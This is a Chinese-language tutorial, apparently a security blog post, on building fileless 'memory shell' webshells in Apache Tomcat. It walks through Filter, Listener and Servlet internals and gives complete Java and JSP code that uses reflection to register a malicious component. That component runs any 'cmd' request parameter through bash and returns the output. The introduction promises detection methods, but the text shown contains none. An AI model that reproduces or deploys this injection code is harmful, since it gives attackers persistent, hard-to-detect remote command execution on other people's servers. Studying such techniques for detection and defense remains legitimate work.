前置内容

什么是内存马?顾名思义,是加载在内存里的Shell。现如今各种情况错综复杂。落地文件成了比较困难的部分。所以不落地 拿Shell成了更重要的部分,而内存马应运而生

本文以Tomcat和SpringBoot为例,讲解其内存马原理、构造、检测方式

Filter

前置知识

这个方法在Tomcat中才有

顾名思义,过滤器

他在整个处理流程中的流程图是这样的

Java  Memory Shell & Tomcat

原理显而易见,所以这里不展开了。

而利用方式讲起来也很容易,在Filter过滤器中插入我们的恶意代码以达到注入Shell的目的。

先来熟悉一下Filter

我们可以新建一个Java Enterprise项目来添加一个Filter 用IDEA可以很方便的创建一个Filter

package com.example.memory_shell;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "Filt")
public class Filt implements Filter {
    public void init(FilterConfig config) throws ServletException {
          /*初始化方法  接收一个FilterConfig类型的参数 该参数是对Filter的一些配置*/
    }

    public void destroy() {
        /*销毁时调用*/
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
       /*过滤方法 主要是对request和response进行一些处理,然后交给下一个过滤器或Servlet处理*/
        chain.doFilter(request, response);
    }
}

可以快速查看javax.servlet.annotation.WebFilter来查找可配置的属性

Java  Memory Shell & Tomcat

常用配置项

urlPatterns配置要拦截的资源

以指定资源匹配。例如"/index.jsp"
以目录匹配。例如"/servlet/*"
以后缀名匹配,例如"*.jsp"
通配符,拦截所有web资源。"/*"

initParams配置初始化参数,跟Servlet配置一样

例如

initParams = {
        @WebInitParam(name = "key",value = "value")
}

dispatcherTypes配置拦截的类型,可配置多个。默认为DispatcherType.REQUEST
其中DispatcherType是个枚举类型,有下面几个值

FORWARD,//转发的
INCLUDE,//包含在页面的
REQUEST,//请求的
ASYNC,//异步的
ERROR;//出错的

然后我们具体来跟踪一下Filter是如何构建完成的,方便更好的理解内存马的注入过程

根据名称,以及对其功能定义,使用Idea全局搜索,很容易定位到org.apache.catalina.core.StandardWrapperValve#invoke

Java  Memory Shell & Tomcat

按F7单步调试,可以定位到org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

Java  Memory Shell & Tomcat

首先调用 getParent 获取当前 Context (即当前 Web应用

Java  Memory Shell & Tomcat

然后会从 Context 中获取到 filterMaps

Java  Memory Shell & Tomcat

可以明显注入到FilterMap[filterName=CharsetFilter, urlPattern=/*] 这里记录了Filter名称和匹配的urlPattern

继续往下跟进

Java  Memory Shell & Tomcat

可以注意到这里是循环遍历 FilterMap,如果发现符合当前请求 url 写的Filter,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName FilterConfig

Java  Memory Shell & Tomcat

如果不为null,将 filterConfig 添加到 filterChain

Java  Memory Shell & Tomcat

addFilter函数

Java  Memory Shell & Tomcat

一个简单的遍历重复去重

之后继续单步调试 会到doFilter方法中,顾名思义,这里是执行Filter的地方

Java  Memory Shell & Tomcat

跟进后会调用internalDoFilter

Java  Memory Shell & Tomcat

阅读源码,不难理解在try方法中取出Filter,然后调用相应Filter中的doFilter方法

最后就会进入我们写的Filter方法中

Java  Memory Shell & Tomcat

流程比较清晰了 也不难说

就是先获取FilterMaps然后遍历匹配urlPatterns是否符合当前访问的路径,之后给 filterConfig赋值。添加到filterChain中调用doFilte方法。最终调用到我们设置的doFilter方法

filterConfig、filterMaps、filterDefs

我们还需要了解一下这三个的区别

通过yzddmr6师傅的文章

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

可以知道的是

filterDefs存放了filter的定义,比如名称跟对应的类

filterConfigs除了存放了filterDef还保存了当时的Context

FilterMaps则对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序

补充知识

Filter构建过程中,我这里使用的是

@WebFilter(filterName = "CharsetFilter",
        urlPatterns = "/*",/*通配符(*)表示对所有的web资源进行拦截*/
        initParams = {
                @WebInitParam(name = "charset", value = "utf-8")/*这里可以放一些初始化的参数*/
        })

也就是直接在对应的Filter定义,这和web.xml中的写法其实是一样的,webxml里面是这样写的

    <filter>
        <filter-name>Memory_Shell</filter-name>
        <filter-class>com.example.memory_shell.Filtertest</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>Memory_Shell</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

有了上面的知识原理,详细对内存马的创建有了一定的想法,最核心的想法应该是恶意的doFilter

实现

我们再来看看刚开始的部分org.apache.catalina.core.ApplicationFilterFactory

Java  Memory Shell & Tomcat

从context中获取到的Filter,那么我们如何获取这个context 呢?

查看一下StandardContext源码,有几个重要函数

  • StandardContext.addFilterDef()可以修改filterRefs
  • StandardContext.filterStart()函数会根据filterDef重新生成filterConfigs

然后根据经验,如果无法直接获取,就要使用反射了。说实话这里理解了有一段时间。网上的文章似乎写的没有那么清晰,又或者是我太菜了

这里这样写

//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

什么意思呢?

Java  Memory Shell & Tomcat

相信这样就可以看明白了

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context

通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问

通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问

现在我们有了standardContext 一切就简单起来了。当然,为了在实战中利用,我们还需要检测当前设置的Filter_name是否存在

之前的分析可知,filterConfig是存放信息的地方,我们依旧反射获取

Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.get(FilterName)

相信这一段已经不需要解释了,当检测到不存在的时候,我们就可以注入恶意的 FIlter了

Filter filter = new Filter() {

  @Override
  public void init(FilterConfig filterConfig) throws ServletException {

  }

  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) servletRequest;
    if (req.getParameter("cmd") != null){

      byte[] bytes = new byte[1024];
      Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
      int len = process.getInputStream().read(bytes);
      servletResponse.getWriter().write(new String(bytes,0,len));

      return;
    }
    filterChain.doFilter(servletRequest,servletResponse);
  }

  @Override
  public void destroy() {

  }

完成了这些,我们就需要一个filterDefs来存放我们的恶意filter了

方法也很简单

//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(o);
或者这样写也可以
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

之后我们还需要设置FIlterMaps来定义恶意filter触发的地方等信息

也很简单new一个出来加参数就行

Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
或者

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

最后就是添加进FilterConfig

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");

Java  Memory Shell & Tomcat

现在是没有的,当我们访问相应路由触发注入

Java  Memory Shell & Tomcat

需要注意的是,这里会在Tomcat存在记录日志的情况

如下

Java  Memory Shell & Tomcat

能去除吗?

当然可以

我查了一圈,好像没人公开,那我也就不写了

放一张截图

Java  Memory Shell & Tomcat

顺便,等介绍完成所有类型,会新开文章讲一下其对于反序列化的相关利用

Listener

前置知识

Tomcat对于加载优先级是 listener -> filter -> servlet

显然 其优先级比上文提到的Filter要高,听名字也能猜出来是个监听器

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

其中前两种都不适合作为内存Webshell,看触发方式就知道了。

通过全局查找,可以关注到ServletRequestListener

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javax.servlet;

import java.util.EventListener;

public interface ServletRequestListener extends EventListener {
    default void requestDestroyed(ServletRequestEvent sre) {
    }

    default void requestInitialized(ServletRequestEvent sre) {
    }
}

ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javax.servlet;

import java.util.EventObject;

public class ServletRequestEvent extends EventObject {
    private static final long serialVersionUID = -7467864054698729101L;
    private final transient ServletRequest request;

    public ServletRequestEvent(ServletContext sc, ServletRequest request) {
        super(sc);
        this.request = request;
    }

    public ServletRequest getServletRequest() {
        return this.request;
    }

    public ServletContext getServletContext() {
        return (ServletContext)super.getSource();
    }
}

通过getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑

javax.servlet.ServletContext#addListener(String var1)查看此函数调用

跟进org.apache.catalina.core.ApplicationContext#addListener(java.lang.String),发现调用了同类中的重载方法

Java  Memory Shell & Tomcat

继续跟进

Java  Memory Shell & Tomcat

这里首先判断Tomcat状态是否正常,如果不正常直接抛出异常,正常继续执行,并且调用this.context.addApplicationEventListener(t);所以我们只需要反射调用addApplicationEventListener方法即可

  • 创建恶意Listener
  • 将其添加到ApplicationEventListener中去

Listener的添加步骤要比Filter简单的多

实现

我们来试着写写最基础的demo

package com.example.memory_shell;

import org.apache.catalina.connector.Request;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.lang.reflect.Field;

@WebListener
public class Listenertest implements ServletRequestListener {

    public void requestInitialized(ServletRequestEvent sre) {
        String cmd = sre.getServletRequest().getParameter("cmd");

        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (cmd != null) {
                try {

                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash", "-c", cmd).start();
                    int len = process.getInputStream().read(bytes);
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    request.getResponse().getWriter().write(new String(bytes, 0, len));
                    return;
                }catch (IOException | IllegalAccessException e) {

                } catch (NoSuchFieldException e) {
                    e.printStackTrace();
                }
            }
        }

}

Java  Memory Shell & Tomcat

这样就完成了最基础的利用,我们来看看怎么注入

通过前文的分析,我们直接通过反射拿到ApplicationEventListener即可

让我们来试试

先新建一个Listener

ServletRequestListener ServletRequestListener = new ServletRequestListener(){
  public void requestInitialized(ServletRequestEvent sre) {
    String cmd = sre.getServletRequest().getParameter("cmd");

    HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
    if (cmd != null) {
      try {

        byte[] bytes = new byte[1024];
        Process process = new ProcessBuilder("bash", "-c", cmd).start();
        int len = process.getInputStream().read(bytes);
        Field requestF = req.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        Request request = (Request) requestF.get(req);
        request.getResponse().getWriter().write(new String(bytes, 0, len));
        return;
      }catch (IOException | IllegalAccessException e) {

      } catch (NoSuchFieldException e) {
        e.printStackTrace();
      }
    }
  }
};

然后通过反射拿到StandardContext#addApplicationEventListener

try {
  Field reqF = req.getClass().getDeclaredField("request");
  reqF.setAccessible(true);
  Request reqe = (Request) reqF.get(req);
  StandardContext context = (StandardContext) reqe.getContext();
  context.addApplicationEventListener(ServletRequestListener);
  resp.getWriter().write("Success");
} catch (Exception e) {
}

访问就可以了,相对起来简单的多

Jsp写法

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            String cmd = sre.getServletRequest().getParameter("cmd");

            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (cmd != null) {
                try {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash", "-c", cmd).start();
                    int len = process.getInputStream().read(bytes);
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    request.getResponse().getWriter().write(new String(bytes, 0, len));
                    return;
                }catch (Exception e) {
                }
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

Serlvet

前置知识

在使用Idea新建一个tomcat项目时,会自动给我们分配一个demo

Java  Memory Shell & Tomcat

Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

而我们要实现的目的就是注入这么一个Servlet来处理我们的恶意请求

我们先来看一下Servlet的装载过程

org.apache.catalina.core.StandardContext#startInternal()

protected synchronized void startInternal() throws LifecycleException {
......
            if(ok && !this.listenerStart()) {
                log.error(sm.getString("standardContext.listenerFail"));
                ok = false;
            }

            if(ok) {
                this.checkConstraintsForUncoveredMethods(this.findConstraints());
            }

            try {
                Manager manager = this.getManager();
                if(manager instanceof Lifecycle) {
                    ((Lifecycle)manager).start();
                }
            } catch (Exception var18) {
                log.error(sm.getString("standardContext.managerFail"), var18);
                ok = false;
            }

            if(ok && !this.filterStart()) {
                log.error(sm.getString("standardContext.filterFail"));
                ok = false;
            }

            if(ok && !this.loadOnStartup(this.findChildren())) {
                log.error(sm.getString("standardContext.servletFail"));
                ok = false;
            }

            super.threadStart();
......

这也正好介绍了listener -> filter -> servlet的优先级顺序

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数

Java  Memory Shell & Tomcat

之后循环获取然后依次加载

Java  Memory Shell & Tomcat

我们具体来看一下Servlet的加载过程

org.apache.catalina.startup.ContextConfig#configureContext

Java  Memory Shell & Tomcat

主要涉及了四个方法

newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

最后

Java  Memory Shell & Tomcat

然后通过context.addServletMappingDecoded()将url路径和servlet类做映射。跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用)

Java  Memory Shell & Tomcat

实现

  • 创建恶意Servlet
  • 用Wrapper对其进行封装
  • 添加封装后的恶意Wrapper到StandardContext的children当中
  • 添加ServletMapping将访问的URL和Servlet进行绑定

首先新建一个Servlet

Servlet servlet = new Servlet() {
  @Override
  public void init(ServletConfig servletConfig) throws ServletException {

  }

  @Override
  public ServletConfig getServletConfig() {
    return null;
  }

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
    String cmd = servletRequest.getParameter("cmd");

    HttpServletRequest req = (HttpServletRequest) servletRequest;
    if (cmd != null) {
      try {

        byte[] bytes = new byte[1024];
        Process process = new ProcessBuilder("bash", "-c", cmd).start();
        int len = process.getInputStream().read(bytes);
        Field requestF = req.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        Request request = (Request) requestF.get(req);
        request.getResponse().getWriter().write(new String(bytes, 0, len));
        return;
      } catch (Exception e) {
      }
    }
  }

  @Override
  public String getServletInfo() {
    return null;
  }

  @Override
  public void destroy() {

  }

};

反射拿Context

Field reqF = req.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req1 = (Request) reqF.get(req);
StandardContext stdcontext = (StandardContext) req1.getContext();

然后获取Wrapper对象,

Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();

newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

最后设置请求的url

// url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/ha1c9on", name);

Java  Memory Shell & Tomcat